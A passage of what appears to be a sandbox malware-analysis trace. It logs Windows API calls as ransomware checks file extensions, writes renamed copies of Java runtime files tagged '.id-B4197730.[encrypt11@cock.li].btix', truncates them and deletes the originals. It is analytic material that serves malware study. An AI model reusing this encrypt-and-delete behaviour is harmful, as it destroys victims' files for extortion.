(lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.774] lstrlenW (lpString=".ppt") returned 4 [0149.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.775] lstrlenW (lpString=".zip") returned 4 [0149.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".rar") returned 4 [0149.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".bz2") returned 4 [0149.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.775] lstrlenW (lpString=".7z") returned 3 [0149.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.775] lstrlenW (lpString=".dbf") returned 4 [0149.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.775] lstrlenW (lpString=".1cd") returned 4 [0149.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.775] lstrlenW (lpString=".jpg") returned 4 [0149.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.775] lstrlenW (lpString=".doc") returned 4 [0149.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".docx") returned 5 [0149.775] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.775] lstrlenW (lpString=".pdf") returned 4 [0149.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".xls") returned 4 [0149.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.775] lstrlenW (lpString=".xlsx") returned 5 [0149.776] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.776] lstrlenW (lpString=".ppt") returned 4 [0149.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.776] lstrlenW (lpString=".zip") returned 4 [0149.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString=".rar") returned 4 [0149.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.776] lstrlenW (lpString=".bz2") returned 4 [0149.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.776] lstrlenW (lpString=".7z") returned 3 [0149.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.776] lstrlenW (lpString=".dbf") returned 4 [0149.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.776] lstrlenW (lpString=".1cd") returned 4 [0149.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0149.776] lstrlenW (lpString=".jpg") returned 4 [0149.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.776] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0149.776] lstrlenW (lpString="mlib_image.dll") returned 14 [0149.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.777] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=653888) returned 1 [0149.777] CloseHandle (hObject=0x368) returned 1 [0149.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0149.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.777] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.777] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0149.778] GetLastError () returned 0x0 [0149.778] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x9fa40, lpOverlapped=0x0) returned 1 [0150.084] WriteFile (in: hFile=0x394, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x9fa50, lpOverlapped=0x0) returned 1 [0150.147] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.147] WriteFile (in: hFile=0x394, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf0, lpOverlapped=0x0) returned 1 [0150.147] SetEndOfFile (hFile=0x394) returned 1 [0150.151] CloseHandle (hObject=0x394) returned 1 [0150.151] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.151] SetEndOfFile (hFile=0x368) returned 1 [0150.167] CloseHandle (hObject=0x368) returned 1 [0150.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.167] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1 [0150.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.167] lstrlenW (lpString=".doc") returned 4 [0150.167] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.167] lstrlenW (lpString=".docx") returned 5 [0150.167] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0150.167] lstrlenW (lpString=".pdf") returned 4 [0150.167] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.167] lstrlenW (lpString=".xls") returned 4 [0150.167] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.167] lstrlenW (lpString=".xlsx") returned 5 [0150.167] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0150.167] lstrlenW (lpString=".ppt") returned 4 [0150.167] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.168] lstrlenW (lpString=".zip") returned 4 [0150.168] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString=".rar") returned 4 [0150.168] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString=".bz2") returned 4 [0150.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.168] lstrlenW (lpString=".7z") returned 3 [0150.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.168] lstrlenW (lpString=".dbf") returned 4 [0150.168] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.168] lstrlenW (lpString=".1cd") returned 4 [0150.168] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.168] lstrlenW (lpString=".jpg") returned 4 [0150.168] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.168] lstrlenW (lpString=".doc") returned 4 [0150.168] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString=".docx") returned 5 [0150.168] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0150.168] lstrlenW (lpString=".pdf") returned 4 [0150.168] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString=".xls") returned 4 [0150.168] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString=".xlsx") returned 5 [0150.168] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0150.168] lstrlenW (lpString=".ppt") returned 4 [0150.168] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.168] lstrlenW (lpString=".zip") returned 4 [0150.169] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.169] lstrlenW (lpString=".rar") returned 4 [0150.169] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.169] lstrlenW (lpString=".bz2") returned 4 [0150.169] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.169] lstrlenW (lpString=".7z") returned 3 [0150.169] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.169] lstrlenW (lpString=".dbf") returned 4 [0150.169] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.169] lstrlenW (lpString=".1cd") returned 4 [0150.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0150.169] lstrlenW (lpString=".jpg") returned 4 [0150.169] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.169] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.169] lstrlenW (lpString="net.dll") returned 7 [0150.169] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.169] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=96832) returned 1 [0150.170] CloseHandle (hObject=0x368) returned 1 [0150.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0150.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.170] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.170] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.170] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.170] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0150.170] GetLastError () returned 0x0 [0150.170] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x17a40, lpOverlapped=0x0) returned 1 [0150.321] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x17a50, lpOverlapped=0x0) returned 1 [0150.550] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.550] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xe2, lpOverlapped=0x0) returned 1 [0150.550] SetEndOfFile (hFile=0x370) returned 1 [0150.550] CloseHandle (hObject=0x370) returned 1 [0150.550] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.550] SetEndOfFile (hFile=0x368) returned 1 [0150.551] CloseHandle (hObject=0x368) returned 1 [0150.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.552] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1 [0150.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.552] lstrlenW (lpString=".doc") returned 4 [0150.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.552] lstrlenW (lpString=".docx") returned 5 [0150.552] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0150.552] lstrlenW (lpString=".pdf") returned 4 [0150.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.552] lstrlenW (lpString=".xls") returned 4 [0150.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.552] lstrlenW (lpString=".xlsx") returned 5 [0150.552] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0150.552] lstrlenW (lpString=".ppt") returned 4 [0150.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.552] lstrlenW (lpString=".zip") returned 4 [0150.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.552] lstrlenW (lpString=".rar") returned 4 [0150.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.553] lstrlenW (lpString=".bz2") returned 4 [0150.553] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.553] lstrlenW (lpString=".7z") returned 3 [0150.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.553] lstrlenW (lpString=".dbf") returned 4 [0150.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.553] lstrlenW (lpString=".1cd") returned 4 [0150.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.553] lstrlenW (lpString=".jpg") returned 4 [0150.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.553] lstrlenW (lpString=".doc") returned 4 [0150.553] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.553] lstrlenW (lpString=".docx") returned 5 [0150.553] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0150.553] lstrlenW (lpString=".pdf") returned 4 [0150.553] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.553] lstrlenW (lpString=".xls") returned 4 [0150.554] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.554] lstrlenW (lpString=".xlsx") returned 5 [0150.554] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0150.554] lstrlenW (lpString=".ppt") returned 4 [0150.554] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.554] lstrlenW (lpString=".zip") returned 4 [0150.554] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.554] lstrlenW (lpString=".rar") returned 4 [0150.554] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.554] lstrlenW (lpString=".bz2") returned 4 [0150.554] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.554] lstrlenW (lpString=".7z") returned 3 [0150.554] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.554] lstrlenW (lpString=".dbf") returned 4 [0150.554] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.554] lstrlenW (lpString=".1cd") returned 4 [0150.554] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46 [0150.554] lstrlenW (lpString=".jpg") returned 4 [0150.554] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.554] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0150.554] lstrlenW (lpString="pack200.exe") returned 11 [0150.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.555] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=16448) returned 1 [0150.555] CloseHandle (hObject=0x368) returned 1 [0150.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0150.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.555] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0150.556] GetLastError () returned 0x0 [0150.556] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x4040, lpOverlapped=0x0) returned 1 [0150.604] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x4050, lpOverlapped=0x0) returned 1 [0150.605] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.606] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1 [0150.606] SetEndOfFile (hFile=0x370) returned 1 [0150.606] CloseHandle (hObject=0x370) returned 1 [0150.606] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.606] SetEndOfFile (hFile=0x368) returned 1 [0150.607] CloseHandle (hObject=0x368) returned 1 [0150.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.607] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1 [0150.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.607] lstrlenW (lpString=".doc") returned 4 [0150.607] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.607] lstrlenW (lpString=".docx") returned 5 [0150.607] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0150.607] lstrlenW (lpString=".pdf") returned 4 [0150.607] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.607] lstrlenW (lpString=".xls") returned 4 [0150.607] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.607] lstrlenW (lpString=".xlsx") returned 5 [0150.607] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0150.607] lstrlenW (lpString=".ppt") returned 4 [0150.607] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.607] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.607] lstrlenW (lpString=".zip") returned 4 [0150.608] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.608] lstrlenW (lpString=".rar") returned 4 [0150.608] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.608] lstrlenW (lpString=".bz2") returned 4 [0150.608] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.608] lstrlenW (lpString=".7z") returned 3 [0150.608] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.608] lstrlenW (lpString=".dbf") returned 4 [0150.608] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.608] lstrlenW (lpString=".1cd") returned 4 [0150.608] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.608] lstrlenW (lpString=".jpg") returned 4 [0150.608] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.608] lstrlenW (lpString=".doc") returned 4 [0150.608] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.608] lstrlenW (lpString=".docx") returned 5 [0150.608] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0150.608] lstrlenW (lpString=".pdf") returned 4 [0150.608] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.608] lstrlenW (lpString=".xls") returned 4 [0150.608] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.608] lstrlenW (lpString=".xlsx") returned 5 